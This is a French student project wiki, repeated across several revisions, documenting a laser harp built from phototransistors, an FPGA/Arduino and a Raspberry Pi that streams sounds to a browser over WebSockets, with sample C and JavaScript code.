Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, dont le port série était mal configuré.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T10:07:13Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

<pre>static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}
</pre>
Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

<pre>window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}</pre>

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

<pre>int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}</pre>

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
<pre>while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}</pre>

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

<pre>websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};</pre>

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<pre><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</pre>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T10:06:18Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

